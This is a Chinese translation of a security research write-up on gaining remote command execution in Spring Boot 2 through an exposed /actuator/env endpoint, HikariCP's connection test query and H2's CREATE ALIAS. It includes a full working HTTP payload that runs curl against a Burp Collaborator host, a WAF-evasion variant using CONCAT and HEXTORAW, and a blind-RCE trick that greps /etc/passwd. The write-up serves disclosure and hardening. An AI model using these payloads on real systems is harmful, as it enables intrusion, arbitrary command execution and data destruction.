利用Spring Boot 2的三个特性实现远程命令执行

利用Spring Boot 2的三个特性实现远程命令执行_第1张图片

序幕

Spring Boot框架是当今最流行的基于Java的微服务框架之一,它可以帮助开发人员快速轻松地部署Java应用。Spring Boot专注为开发人员提供友好的工具和便捷的配置,加速开发过程。

然而,某些默认的开发设置在缺乏经验的开发人员手中可能会变得很危险。我的这篇文章是基于Michal Stepankin的成果,他研究了在Spring Boot 1.x中如何利用被暴露的Actuator通过反序列化实现RCE。通过进一步研究,我在Spring Boot 2上发现一个最新的RCE方法,主要和默认的HikariCP数据库连接池以及一个常见的Java开发数据库,H2数据库引擎有关。我还基于Spring Boot的默认教程应用创建了一个Spring示例来演示该漏洞。

让我们从最后的payload开始:

POST /actuator/env HTTP/1.1

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl  http://x.burpcollaborator.net');"}

payload包含三个不同的部分:向/actuator/env端点发送的环境变量修改请求,CREATE ALIAS的H2 SQL命令,当然还有最后的恶意操作系统命令。

暴露的Actuators

Spring Boot的Actuator会自动创建几个HTTP端点,帮助开发人员轻松地监视和管理应用。正如Stepankin所指出的,从Spring 1.5版本开始,除了/health/info之外的所有端点都被认为是敏感的,而且在默认设置下它们都是安全的。但是应用开发人员经常会禁用这种安全设置。此次攻击的重点在于,端点/actuator/env必须对外暴露。只要开发人员添加management.endpoints.web.exposure.include=env(或者更糟糕的management.endpoints.web.exposure.include=*)到application.properties配置文件即可。

端点/actuator/env涉及GET和POST方法,可用于检索和设置应用的环境变量。POST请求的格式如下:

POST /actuator/env HTTP/1.1

{"name":"","value":""}

在应用的环境变量列表中,提供了大量执行数据和系统数据。然而,这些变量中只有很少一部分可以用来更改正在运行的应用,而用于实现命令执行的变量就更少了。不过幸运的是,Spring Boot 2.x默认使用了HikariCP数据库连接池,这就会引入一个特殊的变量。

H2 CREATE ALIAS Command

HikariCP主要帮助应用与数据库进行通信。根据相关文档,它有一个配置connectionTestQuery,其中定义了从连接池中向你提供连接之前所执行的SQL查询,主要是为了验证数据库连接一直保持活跃。相对应的Spring启动环境变量是spring.datasource.hikari.connection-test-query。简而言之,每当创建一个新的数据库连接时,spring.datasource.hikari.connection-test-query的值就将首先作为SQL查询立刻执行。有两种方法可以触发新的数据库连接——通过POST /actuator/restart请求重新启动应用,或者更改数据库连接的数量,通过向应用发出多个请求来初始化它。

请注意,此时问题就已经很严重了——你可以运行任意的SQL语句删除数据库。现在,让我们进一步讨论H2数据库引擎,它是最流行的Java开发数据库之一,可以把它看作是基于java的SQLite,它只需要一个依赖项,非常容易集成到Spring Boot中,通常用于Spring Boot的开发。

Matheus Bernardes强调了H2中所包含的一个重要SQL命令:CREATE ALIAS。这和PostgreSQL的用户自定义函数类似,你可以定义与别名对应的Java函数,然后在SQL查询中调用它,就像调用函数一样。

CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');

自然,你也可以借此使用Java的Runtime.getRuntime().exec函数去直接执行系统命令。

绕过安全限制

在实际测试中,你可能会遇到WAF,特别是payload中还有exec()等敏感字符串。然而,我们的payload可以使用各种字符串连接技术轻松绕过安全防护。RIPStech的Johannes Moritz通过使用CONCATHEXTORAW命令实现了这一点:

CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');

另一个挑战是,你所攻击的环境可能存在诸多限制。例如目标应用可能在一个Docker实例中运行,没有网络,可用的命令也有限。在Docker中最常见的Linux操作系统Alpine Linux甚至没有Bash。此外,exec()函数是执行原始的操作系统命令,和常用的shell无关,没有布尔比较、管道和重定向等有用的特性。

不过,请记住,以上所提及的spring.datasource.hikari.connection-test-query是用于验证到数据库的连接是否仍然是活动的。如果查询失败,应用将认为数据库不可用,并且不再返回其他数据库查询结果。攻击者可以利用这一点实现盲RCE,你使用的命令将不是curl x.burpcollaborator.net这样的,而是grep root /etc/passwd。一旦查询成功,它将返回输出,应用继续正常运行。如果执行grep nonexistent /etc/passwd后,无有效输出,Java将抛出错误代码,查询失败,应用也会出错。

String shellexec(String cmd) throws java.io.IOException {
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
 if (s.hasNext()) {
  return s.next();  // OS command returns output; return output and SQL query succeeds
 }
 throw new IllegalArgumentException(); // OS command fails to return output; throw exception and SQL query fails
}

这是一种将三个特性连接在一起创建攻击payload的有趣方法,你也可以在非常有限的环境中证明是否发生了命令执行。在这非常感谢Ian Bouchard指出了盲RCE的可能性。

希望在实际测试中你并不会遇到那么多困难,而是可以直接通过curl进行测试,就像我示例中脆弱的Spring应用一样。

利用Spring Boot 2的三个特性实现远程命令执行_第2张图片

结论

一旦对/actuator/env/actuator/restart等端点管理不善,开发人员就会将他们的应用置于远程命令执行的安全威胁之中。若是在内网还好,但你也可以想象一个粗心的开发人员在开发期间无意将应用暴露到公共IP上。

这篇文章和以前相似文章的同一个主题是,开发人员很容易在不知情的情况下往自己的开发项目中引入严重漏洞。Actuator和H2数据库是加速开发的重要工具,但也别忽视其中蕴含的危险。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3926.html
来源:https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

你可能感兴趣的:(安全)